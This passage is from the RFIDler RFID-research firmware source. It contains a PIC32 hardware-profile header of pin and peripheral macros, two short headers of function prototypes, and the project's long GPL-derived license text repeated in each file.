* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: Adam Laurie
#ifndef HARDWARE_PROFILE_UBW32_H
#define HARDWARE_PROFILE_UBW32_H
#include "plib.h"
#ifndef __PIC32MX__
#define __PIC32MX__
#endif
#define GetSystemClock() (80000000ul)
#define GetPeripheralClock() (GetSystemClock())
#define GetInstructionClock() (GetSystemClock())
//#define USE_SELF_POWER_SENSE_IO
#define tris_self_power TRISAbits.TRISA2 // Input
#define self_power 1
//#define USE_USB_BUS_SENSE_IO
#define tris_usb_bus_sense TRISBbits.TRISB5 // Input
#define USB_BUS_SENSE 1
// LEDs
#define mLED_1 LATEbits.LATE3
#define mLED_2 LATEbits.LATE2
#define mLED_Comms mLED_2
#define mLED_3 LATEbits.LATE1
#define mLED_Clock mLED_3
#define mLED_4 LATEbits.LATE0
#define mLED_Emulate mLED_4
#define mLED_5 LATGbits.LATG6
#define mLED_Read mLED_5
#define mLED_6 LATAbits.LATA15
#define mLED_User mLED_6
#define mLED_7 LATDbits.LATD11
#define mLED_Error mLED_7
// active low
#define mLED_ON 0
#define mLED_OFF 1
#define mGetLED_1() mLED_1
#define mGetLED_USB() mLED_1
#define mGetLED_2() mLED_2
#define mGetLED_Comms() mLED_2
#define mGetLED_3() mLED_3
#define mGetLED_Clock() mLED_3
#define mGetLED_4() mLED_4
#define mGetLED_Emulate() mLED_4
#define mGetLED_5() mLED_5
#define mGetLED_Read() mLED_5
#define mGetLED_6() mLED_6
#define mGetLED_User() mLED_6
#define mGetLED_7() mLED_7
#define mGetLED_Error() mLED_7
#define mLED_1_On() mLED_1 = mLED_ON
#define mLED_USB_On() mLED_1_On()
#define mLED_2_On() mLED_2 = mLED_ON
#define mLED_Comms_On() mLED_2_On()
#define mLED_3_On() mLED_3 = mLED_ON
#define mLED_Clock_On() mLED_3_On()
#define mLED_4_On() mLED_4 = mLED_ON
#define mLED_Emulate_On() mLED_4_On()
#define mLED_5_On() mLED_5 = mLED_ON
#define mLED_Read_On() mLED_5_On()
#define mLED_6_On() mLED_6 = mLED_ON
#define mLED_User_On() mLED_6_On()
#define mLED_7_On() mLED_7 = mLED_ON
#define mLED_Error_On() mLED_7_On()
#define mLED_1_Off() mLED_1 = mLED_OFF
#define mLED_USB_Off() mLED_1_Off()
#define mLED_2_Off() mLED_2 = mLED_OFF
#define mLED_Comms_Off() mLED_2_Off()
#define mLED_3_Off() mLED_3 = mLED_OFF
#define mLED_Clock_Off() mLED_3_Off()
#define mLED_4_Off() mLED_4 = mLED_OFF
#define mLED_Emulate_Off() mLED_4_Off()
#define mLED_5_Off() mLED_5 = mLED_OFF
#define mLED_Read_Off() mLED_5_Off()
#define mLED_6_Off() mLED_6 = mLED_OFF
#define mLED_User_Off() mLED_6_Off()
#define mLED_7_Off() mLED_7 = mLED_OFF
#define mLED_Error_Off() mLED_7_Off()
#define mLED_1_Toggle() mLED_1 = !mLED_1
#define mLED_USB_Toggle() mLED_1_Toggle()
#define mLED_2_Toggle() mLED_2 = !mLED_2
#define mLED_Comms_Toggle() mLED_2_Toggle()
#define mLED_3_Toggle() mLED_3 = !mLED_3
#define mLED_Clock_Toggle() mLED_3_Toggle()
#define mLED_4_Toggle() mLED_4 = !mLED_4
#define mLED_Emulate_Toggle() mLED_4_Toggle()
#define mLED_5_Toggle() mLED_5 = !mLED_5
#define mLED_Read_Toggle( ) mLED_5_Toggle()
#define mLED_6_Toggle() mLED_6 = !mLED_6
#define mLED_User_Toggle() mLED_6_Toggle()
#define mLED_7_Toggle() mLED_7 = !mLED_7
#define mLED_Error_Toggle() mLED_7_Toggle()
#define mLED_All_On() { mLED_1_On(); mLED_2_On(); mLED_3_On(); mLED_4_On(); mLED_5_On(); mLED_6_On(); mLED_7_On(); }
#define mLED_All_Off() { mLED_1_Off(); mLED_2_Off(); mLED_3_Off(); mLED_4_Off(); mLED_5_Off(); mLED_6_Off(); mLED_7_Off(); }
// usb status lights
#define mLED_Both_Off() {mLED_USB_Off();mLED_Comms_Off();}
#define mLED_Both_On() {mLED_USB_On();mLED_Comms_On();}
#define mLED_Only_USB_On() {mLED_USB_On();mLED_Comms_Off();}
#define mLED_Only_Comms_On() {mLED_USB_Off();mLED_Comms_On();}
/** SWITCH *********************************************************/
#define swBootloader PORTEbits.RE7
#define swUser PORTEbits.RE6
/** I/O pin definitions ********************************************/
#define INPUT_PIN 1
#define OUTPUT_PIN 0
#define TRUE 1
#define FALSE 0
#define ENABLE 1
#define DISABE 0
#define EVEN 0
#define ODD 1
#define LOW FALSE
#define HIGH TRUE
#define CLOCK_ON LOW
#define CLOCK_OFF HIGH
// output coil control - select between reader/emulator circuits
#define COIL_MODE LATBbits.LATB4
#define COIL_MODE_READER() COIL_MODE= LOW
#define COIL_MODE_EMULATOR() COIL_MODE= HIGH
// coil for emulation
#define COIL_OUT LATGbits.LATG9
#define COIL_OUT_HIGH() COIL_OUT=HIGH
#define COIL_OUT_LOW() COIL_OUT=LOW
// door relay (active low)
#define DOOR_RELAY LATAbits.LATA14
#define DOOR_RELAY_OPEN() DOOR_RELAY= HIGH
#define DOOR_RELAY_CLOSE() DOOR_RELAY= LOW
// inductance/capacitance freq
#define IC_FREQUENCY PORTAbits.RA2
#define SNIFFER_COIL PORTDbits.RD12 // external reader clock detect
#define READER_ANALOGUE PORTBbits.RB11 // reader coil analogue
#define DIV_LOW_ANALOGUE PORTBbits.RB12 // voltage divider LOW analogue
#define DIV_HIGH_ANALOGUE PORTBbits.RB13 // voltage divider HIGH analogue
// clock coil (normally controlled by OC Module, but defined here so we can force it high or low)
#define CLOCK_COIL PORTDbits.RD4
#define CLOCK_COIL_MOVED PORTDbits.RD0 // temporary for greenwire
// digital output after analogue reader circuit
#define READER_DATA PORTDbits.RD8
// trace / debug
#define DEBUG_PIN_1 LATCbits.LATC1
#define DEBUG_PIN_1_TOGGLE() DEBUG_PIN_1= !DEBUG_PIN_1
#define DEBUG_PIN_2 LATCbits.LATC2
#define DEBUG_PIN_2_TOGGLE() DEBUG_PIN_2= !DEBUG_PIN_2
#define DEBUG_PIN_3 LATCbits.LATC3
#define DEBUG_PIN_3_TOGGLE() DEBUG_PIN_3= !DEBUG_PIN_3
#define DEBUG_PIN_4 LATEbits.LATE5
#define DEBUG_PIN_4_TOGGLE() DEBUG_PIN_4= !DEBUG_PIN_4
// spi (sdi1) for sd card (not directly referenced)
//#define SD_CARD_RX LATCbits.LATC4
//#define SD_CARD_TX LATDbits.LATD0
//#define SD_CARD_CLK LATDbits.LATD10
//#define SD_CARD_SS LATDbits.LATD9
// spi for SD card
#define SD_CARD_DET LATFbits.LATF0
#define SD_CARD_WE LATFbits.LATF1 // write enable - unused for microsd but allocated anyway as library checks it
// (held LOW by default - cut solder bridge to GND to free pin if required)
#define SPI_SD SPI_CHANNEL1
#define SPI_SD_BUFF SPI1BUF
#define SPI_SD_STAT SPI1STATbits
// see section below for more defines!
// iso 7816 smartcard
// microchip SC module defines pins so we don't need to, but
// they are listed here to help avoid conflicts
#define ISO_7816_RX LATBbits.LATF2 // RX
#define ISO_7816_TX LATBbits.LATF8 // TX
#define ISO_7816_VCC LATBbits.LATB9 // Power
#define ISO_7816_CLK LATCbits.LATD1 // Clock
#define ISO_7816_RST LATEbits.LATE8 // Reset
// user LED
#define USER_LED LATDbits.LATD7
#define USER_LED_ON() LATDbits.LATD7=1
#define USER_LED_OFF() LATDbits.LATD7=0
// LCR
#define LCR_CALIBRATE LATBbits.LATB5
// wiegand / clock & data
#define WIEGAND_IN_0 PORTDbits.RD5
#define WIEGAND_IN_0_PULLUP CNPUEbits.CNPUE14
#define WIEGAND_IN_0_PULLDOWN CNPDbits.CNPD14
#define WIEGAND_IN_1 PORTDbits.RD6
#define WIEGAND_IN_1_PULLUP CNPUEbits.CNPUE15
#define WIEGAND_IN_1_PULLDOWN CNPDbits.CNPD15
#define CAND_IN_DATA WIEGAND_IN_0
#define CAND_IN_CLOCK WIEGAND_IN_1
#define WIEGAND_OUT_0 LATDbits.LATD3
#define WIEGAND_OUT_1 LATDbits.LATD2
#define WIEGAND_OUT_0_TRIS TRISDbits.TRISD3
#define WIEGAND_OUT_1_TRIS TRISDbits.TRISD2
#define CAND_OUT_DATA WIEGAND_OUT_0
#define CAND_OUT_CLOCK WIEGAND_OUT_1
// connect/disconnect reader clock from coil - used to send RWD signals by creating gaps in carrier
#define READER_CLOCK_ENABLE LATEbits.LATE9
#define READER_CLOCK_ENABLE_ON() READER_CLOCK_ENABLE=CLOCK_ON
#define READER_CLOCK_ENABLE_OFF(x) {READER_CLOCK_ENABLE=CLOCK_OFF; COIL_OUT=x;}
// these input pins must NEVER bet set to output or they will cause short circuits!
// they can be used to see data from reader before it goes into or gate
#define OR_IN_A PORTAbits.RA4
#define OR_IN_B PORTAbits.RA5
// CNCON and CNEN are set to allow wiegand input pin weak pullups to be switched on
#define Init_GPIO() { \
CNCONbits.ON= TRUE; \
CNENbits.CNEN14= TRUE; \
CNENbits.CNEN15= TRUE; \
TRISAbits.TRISA2= INPUT_PIN; \
TRISAbits.TRISA4= INPUT_PIN; \
TRISAbits.TRISA5= INPUT_PIN; \
TRISAbits.TRISA14= OUTPUT_PIN; \
TRISAbits.TRISA15= OUTPUT_PIN; \
TRISBbits.TRISB4= OUTPUT_PIN; \
TRISBbits.TRISB5= OUTPUT_PIN; \
TRISBbits.TRISB9= OUTPUT_PIN; \
TRISBbits.TRISB11= INPUT_PIN; \
TRISBbits.TRISB12= INPUT_PIN; \
TRISBbits.TRISB13= INPUT_PIN; \
TRISCbits.TRISC1= OUTPUT_PIN; \
TRISCbits.TRISC2= OUTPUT_PIN; \
TRISCbits.TRISC3= OUTPUT_PIN; \
TRISCbits.TRISC4= INPUT_PIN; \
TRISDbits.TRISD0= INPUT_PIN; \
TRISDbits.TRISD1= OUTPUT_PIN; \
TRISDbits.TRISD2= OUTPUT_PIN; \
TRISDbits.TRISD3= OUTPUT_PIN; \
TRISDbits.TRISD4= OUTPUT_PIN; \
TRISDbits.TRISD5= INPUT_PIN; \
TRISDbits.TRISD6= INPUT_PIN; \
TRISDbits.TRISD7= OUTPUT_PIN; \
TRISDbits.TRISD8= INPUT_PIN; \
TRISDbits.TRISD11= OUTPUT_PIN; \
TRISDbits.TRISD12= INPUT_PIN; \
TRISEbits.TRISE0= OUTPUT_PIN; \
TRISEbits.TRISE1= OUTPUT_PIN; \
TRISEbits.TRISE2= OUTPUT_PIN; \
TRISEbits.TRISE3= OUTPUT_PIN; \
TRISEbits.TRISE5= OUTPUT_PIN; \
TRISEbits.TRISE6= INPUT_PIN; \
TRISEbits.TRISE7= INPUT_PIN; \
TRISEbits.TRISE8= OUTPUT_PIN; \
TRISEbits.TRISE9= OUTPUT_PIN; \
TRISFbits.TRISF0= INPUT_PIN; \
TRISFbits.TRISF1= INPUT_PIN; \
TRISFbits.TRISF2= INPUT_PIN; \
TRISFbits.TRISF8= OUTPUT_PIN; \
TRISGbits.TRISG6= OUTPUT_PIN; \
TRISGbits.TRISG12= INPUT_PIN; \
TRISGbits.TRISG13= INPUT_PIN; \
TRISGbits.TRISG9= OUTPUT_PIN; \
LATBbits.LATB9= LOW; \
LATCbits.LATC1= LOW; \
LATCbits.LATC2= LOW; \
LATCbits.LATC3= LOW; \
LATDbits.LATD2= WIEGAND_IN_1; \
LATDbits.LATD3= WIEGAND_IN_0; \
LATEbits.LATE5= LOW; \
LATEbits.LATE9= HIGH; \
}
// uart3 (CLI/API) speed
#define BAUDRATE3 115200UL
#define BRG_DIV3 4
#define BRGH3 1
// spi for potentiometer
#define SPI_POT SPI_CHANNEL4
#define SPI_POT_BUFF SPI4BUF
#define SPI_POT_STAT SPI4STATbits
// spi for sd card - defines required for Microchip SD-SPI libs
// define interface type
#define USE_SD_INTERFACE_WITH_SPI
#define MDD_USE_SPI_1
#define SPI_START_CFG_1 (PRI_PRESCAL_64_1 | SEC_PRESCAL_8_1 | MASTER_ENABLE_ON | SPI_CKE_ON | SPI_SMP_ON)
#define SPI_START_CFG_2 (SPI_ENABLE)
// Define the SPI frequency
#define SPI_FREQUENCY (20000000)
// Description: SD-SPI Card Detect Input bit
#define SD_CD PORTFbits.RF0
// Description: SD-SPI Card Detect TRIS bit
#define SD_CD_TRIS TRISFbits.TRISF0
// Description: SD-SPI Write Protect Check Input bit
#define SD_WE PORTFbits.RF1
// Description: SD-SPI Write Protect Check TRIS bit
#define SD_WE_TRIS TRISFbits.TRISF1
// Description: The main SPI control register
#define SPICON1 SPI1CON
// Description: The SPI status register
#define SPISTAT SPI1STAT
// Description: The SPI Buffer
#define SPIBUF SPI1BUF
// Description: The receive buffer full bit in the SPI status register
#define SPISTAT_RBF SPI1STATbits.SPIRBF
// Description: The bitwise define for the SPI control register (i.e. _____bits)
#define SPICON1bits SPI1CONbits
// Description: The bitwise define for the SPI status register (i.e. _____bits)
#define SPISTATbits SPI1STATbits
// Description: The enable bit for the SPI module
#define SPIENABLE SPICON1bits.ON
// Description: The definition for the SPI baud rate generator register (PIC32)
#define SPIBRG SPI1BRG
// Description: The TRIS bit for the SCK pin
#define SPICLOCK TRISDbits.TRISD10
// Description: The TRIS bit for the SDI pin
#define SPIIN TRISCbits.TRISC4
// Description: The TRIS bit for the SDO pin
#define SPIOUT TRISDbits.TRISD0
#define SD_CS LATDbits.LATD9
// Description: SD-SPI Chip Select TRIS bit
#define SD_CS_TRIS TRISDbits.TRISD9
//SPI library functions
#define putcSPI putcSPI1
#define getcSPI getcSPI1
#define OpenSPI(config1, config2) OpenSPI1(config1, config2)
// Define setup parameters for OpenADC10 function
// Turn module on | Ouput in integer format | Trigger mode auto | Enable autosample
#define ADC_CONFIG1 (ADC_FORMAT_INTG | ADC_CLK_AUTO | ADC_AUTO_SAMPLING_ON)
// ADC ref external | Disable offset test | Disable scan mode | Perform 2 samples | Use dual buffers | Use alternate mode
#define ADC_CONFIG2 (ADC_VREF_AVDD_AVSS | ADC_OFFSET_CAL_DISABLE | ADC_SCAN_OFF | ADC_SAMPLES_PER_INT_1 | ADC_ALT_BUF_ON | ADC_ALT_INPUT_ON)
// Use ADC internal clock | Set sample time
#define ADC_CONFIG3 (ADC_CONV_CLK_INTERNAL_RC | ADC_SAMPLE_TIME_0)
// slow sample rate for tuning coils
#define ADC_CONFIG2_SLOW (ADC_VREF_AVDD_AVSS | ADC_OFFSET_CAL_DISABLE | ADC_SCAN_OFF | ADC_SAMPLES_PER_INT_16 | ADC_ALT_BUF_ON | ADC_ALT_INPUT_ON)
#define ADC_CONFIG3_SLOW (ADC_CONV_CLK_INTERNAL_RC | ADC_SAMPLE_TIME_31)
// use AN11
#define ADC_CONFIGPORT ENABLE_AN11_ANA
// Do not assign channels to scan
#define ADC_CONFIGSCAN SKIP_SCAN_ALL
#define ADC_TO_VOLTS 0.003208F
// flash memory - int myvar = *(int*)(myflashmemoryaddress);
// memory is 0x9D005000 to 0x9D07FFFF
#define NVM_MEMORY_END 0x9D07FFFF
#define NVM_PAGE_SIZE 4096
#define NVM_PAGES 2 // config & VTAG
#define RFIDLER_NVM_ADDRESS (NVM_MEMORY_END - (NVM_PAGE_SIZE * NVM_PAGES))
// UART timeout in us
#define SERIAL_TIMEOUT 100
#endif
================================================
FILE: firmware/Pic32/RFIDler.X/include/analogue.h
================================================
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2014 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: Adam Laurie
void init_adc(BOOL slow);
void analogue_sample(unsigned int length, BOOL local_read);
void analogue_xml_out(unsigned int length);
unsigned long analogue_frequency(void);
================================================
FILE: firmware/Pic32/RFIDler.X/include/ask.h
================================================
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2014 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: Adam Laurie
BOOL send_ask_hex(unsigned char *data, unsigned int pulsewidth, unsigned int tpb, unsigned int repeat);
BOOL send_ask_bin(unsigned char *data, unsigned int length, unsigned int pulsewidth, unsigned int tpb, unsigned int repeat);
void write_ASK_HW_clock(unsigned int pulse, BYTE *data, unsigned int tpb, unsigned int repeat);
BOOL ask_raw_get_uid(BYTE *response);
BOOL ask_raw_hex_to_uid(BYTE *response, BYTE *hex);
unsigned int read_ask_data(unsigned int period_us, unsigned int ticks, BYTE *data, unsigned int bits, unsigned char *sync, unsigned char syncbits, unsigned int timeout_us, BOOL oneshot, BYTE format);
BOOL read_ASK_HW_clock(unsigned int period, unsigned int ticks, BYTE *data, unsigned int bits, unsigned int timeout_us, BOOL oneshot);
================================================
FILE: firmware/Pic32/RFIDler.X/include/auth.h
================================================
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2014 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
